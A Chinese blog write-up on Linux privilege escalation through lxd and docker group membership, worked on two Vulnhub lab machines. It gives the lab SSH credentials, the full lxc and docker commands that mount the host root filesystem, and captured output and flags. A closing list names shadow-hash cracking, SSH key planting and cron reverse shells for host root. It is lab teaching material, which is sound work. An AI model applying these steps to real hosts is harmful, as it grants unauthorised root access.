关于Linux环境下的LXD及Docker提权

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基本概念

        LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

        LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

        LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

        Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

0x02 LXD 提权

1、原理
LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 lxd 组

3、案例 - Vulnhub - AI-Web

AI-Web 靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/

前期 Web 打点拿到了 ssh 账号密码,如下:

User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf

ssh 连接后发现当前用户 n0nr00tuser 属于 lxd 组,也就是说可以操作 LXD 容器

┌──(root㉿ch4ser)-[~]
└─# ssh n0nr00tuser@192.168.196.144
n0nr00tuser@aiweb2host:~$ whoami
n0nr00tuser
n0nr00tuser@aiweb2host:~$ id
uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd)
n0nr00tuser@aiweb2host:~$ pwd
/home/n0nr00tuser

Kali 开启 apache2 服务,将镜像 alpine-v3.13-x86_64-20210218_0139.tar.gz 放到网站根目录

┌──(root㉿ch4ser)-[~]
└─# cd /var/www/html┌──(root㉿ch4ser)-[/var/www/html]
└─# ls             
alpine-v3.13-x86_64-20210218_0139.tar.gz┌──(root㉿ch4ser)-[/var/www/html]
└─# service apache2 start

 靶机 wget 下载,使用 lxc 创建容器并别名为 test

n0nr00tuser@aiweb2host:~$ wget http://192.168.196.128/alpine-v3.13-x86_64-20210218_0139.tar.gz
n0nr00tuser@aiweb2host:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b

初始化容器 test 并设置选项 security.privileged=true,即允许容器以特权模式运行

n0nr00tuser@aiweb2host:~$ lxc init test test -c security.privileged=true
Creating test

将宿主机的根目录 "/" 挂载到容器中的 "/mnt/root" 目录,recursive=true 选项表示在添加设备时递归创建目标路径

n0nr00tuser@aiweb2host:~$ lxc config device add test test disk source=/ path=/mnt/root recursive=true
Device test added to test

启动容器 test 并打开一个 shell 会话,可以看到当前权限为容器的 root 权限(注意:不是宿主机的 root 权限)

n0nr00tuser@aiweb2host:~$ lxc start test
n0nr00tuser@aiweb2host:~$ lxc exec test /bin/sh
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
~ # pwd
/root

此时我们对容器具有最高权限,而宿主机的目录已全部递归挂载到 /mnt/root,所以只需要进入 /mnt/root/root 目录查看便可得到 flag

~ # cd /mnt/root/root
/mnt/root/root # ls
flag.txt
/mnt/root/root # cat flag.txt 
####################################################
#                                                  #
#                 AI: WEB 2.0                      #
#                                                  #
#               Congratulation!!!                  #
#                                                  #
#             Hope you enjoyed this.               #
#                                                  #
#  flag{7fe64512ecd4dba377b50627f307d1678b14132f}  #
#                                                  #
#         Please tweet on @arif_xpress             #
#                                                  #
####################################################

 0x03 Docker 提权

1、原理
Docker 提权和 LXD 提权原理基本一致,都是通过挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 docker 组

3、案例 - Vulnhub - Chill-Hack

Chill-Hack 靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/

前期 Web 打点拿到了 ssh 账号密码,如下: 

User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd

ssh 连接后发现当前用户 anurodh 属于 docker 组,也就是说可以操作 Docker 容器

┌──(root㉿ch4ser)-[~]
└─# ssh anurodh@192.168.196.145
anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh

拉取镜像,创建容器,将宿主机的根目录 "/" 挂载到容器中的 "/mnt" 目录,进入 /mnt/root 目录查看便可得到 flag`

anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh
anurodh@ubuntu:~$ docker run -v /:/mnt -it alpine
/ # whoami
root
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # pwd
/
/ # cd /mnt/root
/mnt/root # ls
proof.txt
/mnt/root # cat proof.txt {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}Congratulations! You have successfully completed the challenge.

0x04 补充

上述提权方案只是对宿主机目录有了操作权限,如果此时反弹 shell 得到的权限将是容器内的 root 权限,而非宿主机的 root 权限,显然不是我们想要的。

那么如何得到宿主机的 root 权限呢?有以下几种方法参考:

1、破解 /etc/shadow 中的 hash,得到 root 账户密码,可使用 hashcat 等工具

2、添加 ssh 密钥绑定 root,之后使用 ssh 密钥登录 root

3、将反弹 shell 命令写到宿主机的计划任务,此时反弹的是宿主机root权限(推荐)

4、利用 CVE 漏洞直接利用反弹

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/764360.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RabbitTemplate :简化与 RabbitMQ 消息代理的交互

RabbitTemplate 是 Spring AMQP 项目中提供的一个核心类,用于简化与 RabbitMQ 消息代理的交互。在 Spring 应用程序中,使用 RabbitTemplate 可以方便地发送和接收消息,从而简化了 RabbitMQ 的使用。 一、RabbitTemplate 概述 RabbitTemplat…

cesium知识点:坐标系

一,地理坐标系 1.经纬度坐标系 对象:没有实际的对象 说明:cesium默认使用WGS84坐标系作为空间参考,坐标原点在椭球的质心。 2.弧度坐标系(Cartographic) 对象:new Cesium.Cartographic(longitude, latitude, heigh…

easyExcel大数据量导出oom

easyExcel大数据量导出 异常信息 com.alibaba.excel.exception.ExcelGenerateException: java.lang.OutOfMemoryError: GC overhead limit exceededat com.alibaba.excel.write.ExcelBuilderImpl.fill(ExcelBuilderImpl.java:84)at com.alibaba.excel.ExcelWriter.fill(Excel…

AI智能分析网关V4养老院视频智能监控方案

随着科技的快速发展,智能监控技术已经广泛应用于各个领域,尤其在养老院这一特定场景中,智能监控方案更是发挥着不可或缺的作用。尤其是伴随着社会老龄化趋势的加剧,养老院的安全管理问题也日益凸显。为了确保老人的生活安全&#…

yarn安装包时报错error Error: certificate has expired

安装教程: 配置镜像地址: npm config set registry https://registry.npmmirror.com//镜像:https://developer.aliyun.com/mirror/NPM 安装yarn: npm install --global yarn查看版本: yarn --version卸载&#xff…

每日五道java面试题之springboot篇(一)

目录: 第一题. 什么是 Spring Boot?第二题. Spring Boot 有哪些优点?第三题. Spring Boot 的核心注解是哪个?它主要由哪几个注解组成的?第四题. 什么是 JavaConfig?第五题. Spring Boot 自动配置原理是什么…

wpa_supplicant 扫描不全问题处理--链表学习

最近遇到一个wpa_supplicant 多次扫描后扫描结果未按照顺序进行排列的问题,这里针对扫描结果的链表进行排序,达到扫描列表根据rssi进行排序的效果 -----再牛逼的梦想,也抵不住傻逼般的坚持! --2024-03-22 11:21 一、问题背景 当周边存在大量ap热点时,通过wpa_supplican…

掌握大型语言模型的指南

大型语言模型精通指南 引言 近年来,大型语言模型(LLM)在自然语言处理和人工智能领域取得了巨大成功,从聊天机器人到搜索引擎再到创意写作辅助,LLM正在推动各行各业的尖端应用。然而,要构建有用的LLM产品,需要专业的技…

vscode,chrome,edge 远程桌面软件界面冻结卡死的情况处理

最近一致使用远程界面,有些情况需要使用家里的电脑。 说起来也奇怪,以前一直也没发现什么问题。好好的(1920*1080)分辨率下。 最近升级了屏幕到4K,就有点奇怪的问题。公司的电脑是1920*1080的,很多时候连上去,桌面上…

ChatGPTGPT4科研应用、数据分析与机器学习、论文高效写作、AI绘图技术教程

原文链接:ChatGPTGPT4科研应用、数据分析与机器学习、论文高效写作、AI绘图技术教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247598506&idx2&sn14f96667bfbeba5f51366a1f019e3d64&chksmfa82004dcdf5895bba2784ba10f6715f6f5e4c59c9b1…

C++标准库中提供的用于处理正则表达式的类std::regex

std 是 C 标准库的命名空间,包含了大量标准的 C 类、函数和对象。这些类和函数提供了广泛的功能,包括输入输出、容器、算法、字符串处理等。 通常,为了使用标准库中的对象和函数,需在代码中包含相应的头文件,比如 #in…

【MySQL】3.2MySQL事务和存储引擎

MySQL事务 一、MySQL事物的概念 事务是一种机制,包含了一件事的完整的一个过程 ●事务是一种机制、一个操作序列,包含了一组数据库操作命令,并且把所有的命令作为一个整体一起向系统提交或撤销操作请求,即这一组数据库命令要么…

后端项目中构建前端模块问题记录

后端项目中在登陆页面使用jsp,后端项目会通过接口返回给前端几个js的路径,这几个js呢,是由后端先构建好,然后返回给前端路径的,前端通过这个路径访问js执行。。。 总之,很奇怪的项目。。 1、首先要安装no…

java中对象创建过程

【详细图解】一个 Java 对象是如何被创建的?_java创建对象的完整过程-CSDN博客

JSqlParser的使用

简介 JSqlParse是一款很精简的sql解析工具,它可以将常用的sql文本解析成具有层级结构的语法树,我们可以针对解析后的节点进行处理(增加、移除、修改等操作),从而生成符合我们业务要求的sql,比如添加过滤条件等等 JSqlParse采用访问者模式 项…

全智能深度演进,一键成片让视频创作颠覆式提效

全智能一键成片,让内容创作的「边际成本」逼近于零。 大模型和AIGC技术的发展,可以用“日新月异”来形容,其迭代速度史无前例,涌现出的各类垂直应用模型,也使得音视频行业的应用场景更加广泛和多样化。 然而&#xff…

Linux动态库和静态库的制作和使用

一、什么是动态库跟静态库? 程序函数库分为3种类型:静态函数库(stasic libraries)、共享函数库(shared libraries)、动态加载函数库(dynamically loaded libraries); 1.静态函数库 在程序执行(编译)前就加入到目标程序中去。 …

如何从零开始拆解uni-app开发的vue项目(三)

前言:前两篇文章我们讲解了如何拆解uni-app开发的项目结构、实现前台数据的动态加载,今天讲一篇如何实现动态加载功能列表,以及美化界面。话不多说,直接先看源码: 在用户成功登录后,会跳转到menu.vue菜单, 再次点击点检功能时,会进入点检的具体功能跳转菜单,我们的点…

在Linux/Debian/Ubuntu上通过 Azure Data Studio 管理 SQL Server 2019

Microsoft 提供 Azure Data Studio,这是一种可在 Linux、macOS 和 Windows 上运行的跨平台数据库工具。 它提供与 SSMS 类似的功能,包括查询、脚本编写和可视化数据。 要在 Ubuntu 上安装 Azure Data Studio,可以按照以下步骤操作&#xff1…

Flink1.18 如何配置算子级别的TTL

1. 解释 从 Flink 1.18 开始,Table API & SQL 支持配置细粒度的状态 TTL 来优化状态使用,可配置粒度为每个状态算子的入边数。具体而言,OneInputStreamOperator 可以配置一个状态的 TTL,而 TwoInputStreamOperator&#xff0…